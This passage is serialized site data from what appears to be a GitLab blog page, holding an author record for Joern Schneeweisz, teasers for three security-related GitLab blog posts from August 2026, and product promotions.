contribute",{"twitter":2451,"facebook":2452,"youtube":2453,"linkedin":2454},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[2456,2503,2557,2601,2633],{"title":2145,"links":2457,"subMenu":2472},[2458,2462,2467],{"text":2459,"config":2460},"View plans",{"href":2147,"dataGaName":2461,"dataGaLocation":2439},"view plans",{"text":2463,"config":2464},"Why Premium?",{"href":2465,"dataGaName":2466,"dataGaLocation":2439},"/pricing/premium/","why premium",{"text":2468,"config":2469},"Why Ultimate?",{"href":2470,"dataGaName":2471,"dataGaLocation":2439},"/pricing/ultimate/","why ultimate",[2473],{"title":2474,"links":2475},"Contact Us",[2476,2479,2481,2483,2488,2493,2498],{"text":2477,"config":2478},"Contact sales",{"href":2329,"dataGaName":2008,"dataGaLocation":2439},{"text":2332,"config":2480},{"href":2334,"dataGaName":2335,"dataGaLocation":2439},{"text":2337,"config":2482},{"href":2339,"dataGaName":2340,"dataGaLocation":2439},{"text":2484,"config":2485},"Status",{"href":2486,"dataGaName":2487,"dataGaLocation":2439},"https://status.gitlab.com/","status",{"text":2489,"config":2490},"Terms of use",{"href":2491,"dataGaName":2492,"dataGaLocation":2439},"/terms/","terms of use",{"text":2494,"config":2495},"Privacy statement",{"href":2496,"dataGaName":2497,"dataGaLocation":2439},"/privacy/","privacy statement",{"text":2499,"config":2500},"Cookie preferences",{"dataGaName":2501,"dataGaLocation":2439,"id":2502,"isOneTrustButton":540},"cookie preferences","ot-sdk-btn",{"title":2045,"links":2504,"subMenu":2513},[2505,2509],{"text":2506,"config":2507},"DevSecOps platform",{"href":2027,"dataGaName":2508,"dataGaLocation":2439},"devsecops platform",{"text":2510,"config":2511},"AI-Assisted Development",{"href":2034,"dataGaName":2512,"dataGaLocation":2439},"ai-assisted development",[2514],{"title":2515,"links":2516},"Topics",[2517,2522,2527,2532,2537,2542,2547,2552],{"text":2518,"config":2519},"CICD",{"href":2520,"dataGaName":2521,"dataGaLocation":2439},"/topics/ci-cd/","cicd",{"text":2523,"config":2524},"GitOps",{"href":2525,"dataGaName":2526,"dataGaLocation":2439},"/topics/gitops/","gitops",{"text":2528,"config":2529},"DevOps",{"href":2530,"dataGaName":2531,"dataGaLocation":2439},"/topics/devops/","devops",{"text":2533,"config":2534},"Version Control",{"href":2535,"dataGaName":2536,"dataGaLocation":2439},"/topics/version-control/","version control",{"text":2538,"config":2539},"DevSecOps",{"href":2540,"dataGaName":2541,"dataGaLocation":2439},"/topics/devsecops/","devsecops",{"text":2543,"config":2544},"Cloud Native",{"href":2545,"dataGaName":2546,"dataGaLocation":2439},"/topics/cloud-native/","cloud native",{"text":2548,"config":2549},"AI for Coding",{"href":2550,"dataGaName":2551,"dataGaLocation":2439},"/topics/devops/ai-for-coding/","ai for coding",{"text":2553,"config":2554},"Agentic AI",{"href":2555,"dataGaName":2556,"dataGaLocation":2439},"/topics/agentic-ai/","agentic ai",{"title":2558,"links":2559},"Solutions",[2560,2562,2564,2569,2573,2576,2580,2583,2585,2588,2591,2596],{"text":2089,"config":2561},{"href":2084,"dataGaName":2089,"dataGaLocation":2439},{"text":2078,"config":2563},{"href":2061,"dataGaName":2062,"dataGaLocation":2439},{"text":2565,"config":2566},"Agile development",{"href":2567,"dataGaName":2568,"dataGaLocation":2439},"/solutions/agile-delivery/","agile delivery",{"text":2570,"config":2571},"SCM",{"href":2074,"dataGaName":2572,"dataGaLocation":2439},"source code management",{"text":2518,"config":2574},{"href":2067,"dataGaName":2575,"dataGaLocation":2439},"continuous integration & delivery",{"text":2577,"config":2578},"Value stream management",{"href":2117,"dataGaName":2579,"dataGaLocation":2439},"value stream management",{"text":2523,"config":2581},{"href":2582,"dataGaName":2526,"dataGaLocation":2439},"/solutions/gitops/",{"text":2127,"config":2584},{"href":2130,"dataGaName":2131,"dataGaLocation":2439},{"text":2586,"config":2587},"Small business",{"href":2136,"dataGaName":2137,"dataGaLocation":2439},{"text":2589,"config":2590},"Public sector",{"href":2142,"dataGaName":2143,"dataGaLocation":2439},{"text":2592,"config":2593},"Education",{"href":2594,"dataGaName":2595,"dataGaLocation":2439},"/solutions/education/","education",{"text":2597,"config":2598},"Financial services",{"href":2599,"dataGaName":2600,"dataGaLocation":2439},"/solutions/finance/","financial services",{"title":2150,"links":2602},[2603,2605,2607,2609,2612,2614,2617,2619,2621,2623,2625,2627,2629,2631],{"text":2163,"config":2604},{"href":2165,"dataGaName":2166,"dataGaLocation":2439},{"text":2168,"config":2606},{"href":2170,"dataGaName":2171,"dataGaLocation":2439},{"text":2173,"config":2608},{"href":2175,"dataGaName":2176,"dataGaLocation":2439},{"text":2178,"config":2610},{"href":2180,"dataGaName":2611,"dataGaLocation":2439},"docs",{"text":2201,"config":2613},{"href":2203,"dataGaName":2204,"dataGaLocation":2439},{"text":2615,"config":2616},"What's new",{"href":2261,"dataGaName":2262,"dataGaLocation":2439},{"text":2196,"config":2618},{"href":2198,"dataGaName":2199,"dataGaLocation":2439},{"text":2215,"config":2620},{"href":2217,"dataGaName":2218,"dataGaLocation":2439},{"text":2223,"config":2622},{"href":2225,"dataGaName":2226,"dataGaLocation":2439},{"text":2228,"config":2624},{"href":2230,"dataGaName":2231,"dataGaLocation":2439},{"text":2233,"config":2626},{"href":2235,"dataGaName":2236,"dataGaLocation":2439},{"text":2238,"config":2628},{"href":2240,"dataGaName":2241,"dataGaLocation":2439},{"text":2243,"config":2630},{"href":2245,"dataGaName":2246,"dataGaLocation":2439},{"text":2248,"config":2632},{"href":2250,"dataGaName":2251,"dataGaLocation":2439},{"title":2264,"links":2634},[2635,2637,2639,2641,2643,2645,2649,2654,2656,2658,2660],{"text":2272,"config":2636},{"href":2274,"dataGaName":2266,"dataGaLocation":2439},{"text":2277,"config":2638},{"href":2279,"dataGaName":2280,"dataGaLocation":2439},{"text":2285,"config":2640},{"href":2287,"dataGaName":2288,"dataGaLocation":2439},{"text":2290,"config":2642},{"href":2292,"dataGaName":2293,"dataGaLocation":2439},{"text":2295,"config":2644},{"href":2297,"dataGaName":2298,"dataGaLocation":2439},{"text":2646,"config":2647},"Sustainability",{"href":2648,"dataGaName":2646,"dataGaLocation":2439},"/sustainability/",{"text":2650,"config":2651},"Diversity, inclusion and belonging (DIB)",{"href":2652,"dataGaName":2653,"dataGaLocation":2439},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":2300,"config":2655},{"href":2302,"dataGaName":2303,"dataGaLocation":2439},{"text":2310,"config":2657},{"href":2312,"dataGaName":2313,"dataGaLocation":2439},{"text":2315,"config":2659},{"href":2317,"dataGaName":2318,"dataGaLocation":2439},{"text":2661,"config":2662},"Modern Slavery Transparency Statement",{"href":2663,"dataGaName":2664,"dataGaLocation":2439},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":2666},[2667,2670,2673],{"text":2668,"config":2669},"Terms",{"href":2491,"dataGaName":2492,"dataGaLocation":2439},{"text":2671,"config":2672},"Cookies",{"dataGaName":2501,"dataGaLocation":2439,"id":2502,"isOneTrustButton":540},{"text":2674,"config":2675},"Privacy",{"href":2496,"dataGaName":2497,"dataGaLocation":2439},[2677],{"id":2678,"title":7,"body":1978,"config":2679,"content":2681,"description":1978,"extension":2685,"meta":2686,"navigation":540,"path":2687,"seo":2688,"stem":2689,"__hash__":2690},"blogAuthors/en-us/blog/authors/joern-schneeweisz.yml",{"template":2680},"BlogAuthor",{"name":7,"config":2682},{"headshot":2683,"ctfId":2684},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679144/Blog/Author%20Headshots/joernchen-headshot.png","joernchen","yml",{},"/en-us/blog/authors/joern-schneeweisz",{},"en-us/blog/authors/joern-schneeweisz","7lq_RPJjB0t-8_Ky8UIjryswPotuX6Aqerg4scz_2gI",[2692,2700,2708],{"title":2693,"description":2694,"heroImage":2695,"category":1974,"date":2696,"authors":2697,"slug":2699,"externalUrl":1978},"How GitLab tracks vulnerabilities through refactors and reformatting","Learn how GitLab's improved Scope+Offset fingerprinting keeps vulnerability tracking stable across comments, blank lines, and reformatting.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1759320418/xjmqcozxzt4frx0hori3.png","2026-08-12",[2698],"Julian Thome","improved-scope-offset-fingerprinting",{"title":2701,"description":2702,"heroImage":2695,"category":1974,"date":2703,"authors":2704,"slug":2707,"externalUrl":1978},"GitLab Secrets Manager adds ESO, Terraform, API support","Simplify credential management across your stack. GitLab Secrets Manager provides secure retrieval in Kubernetes, Terraform, and external workflows.","2026-08-06",[2705,2706],"Erick Bajao","Joe Randazzo","gitlab-secrets-manager-add-eso-terraform-api-support",{"title":2709,"description":2710,"heroImage":2711,"category":1974,"date":2712,"authors":2713,"slug":2715,"externalUrl":1978},"Secure every commit to production with Claude and GitLab","Claude Security catches vulnerabilities inside a coding session. GitLab picks up from there, scanning, enforcing policy, and producing audit evidence for the software lifecycle. ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1756122536/akivvcnafog9c4dhhzkp.png","2026-08-03",[2714],"Alisa Ho","claude-security-and-gitlab",{"promotions":2717},[2718,2732,2744,2755],{"id":2719,"categories":2720,"header":2722,"text":2723,"button":2724,"image":2729},"ai-modernization",[2721],"ai","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":2725,"config":2726},"Get your AI maturity score",{"href":2727,"dataGaName":2728,"dataGaLocation":2204},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":2730},{"src":2731},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":2733,"categories":2734,"header":2736,"text":2723,"button":2737,"image":2741},"devops-modernization",[2735,2541],"product","Are you just managing tools or shipping innovation?",{"text":2738,"config":2739},"Get your DevOps maturity score",{"href":2740,"dataGaName":2728,"dataGaLocation":2204},"/assessments/devops-modernization-assessment/",{"config":2742},{"src":2743},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":2745,"categories":2746,"header":2747,"text":2723,"button":2748,"image":2752},"security-modernization",[1974],"Are you trading speed for security?",{"text":2749,"config":2750},"Get your security maturity score",{"href":2751,"dataGaName":2728,"dataGaLocation":2204},"/assessments/security-modernization-assessment/",{"config":2753},{"src":2754},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":2756,"paths":2757,"header":2760,"text":2761,"button":2762,"image":2767},"github-azure-migration",[2758,2759],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. Find out what it means for you.",{"text":2763,"config":2764},"See how GitLab compares to GitHub",{"href":2765,"dataGaName":2766,"dataGaLocation":2204},"/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":2768},{"src":2743},{"header":2770,"blurb":2771,"button":2772,"secondaryButton":2777},"Start building faster today","See what your team can do with the intelligent orchestration platform for DevSecOps.\n",{"text":2773,"config":2774},"Get your free trial",{"href":2775,"dataGaName":2003,"dataGaLocation":2776},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":2477,"config":2778},{"href":2329,"dataGaName":2008,"dataGaLocation":2776},1786803775488]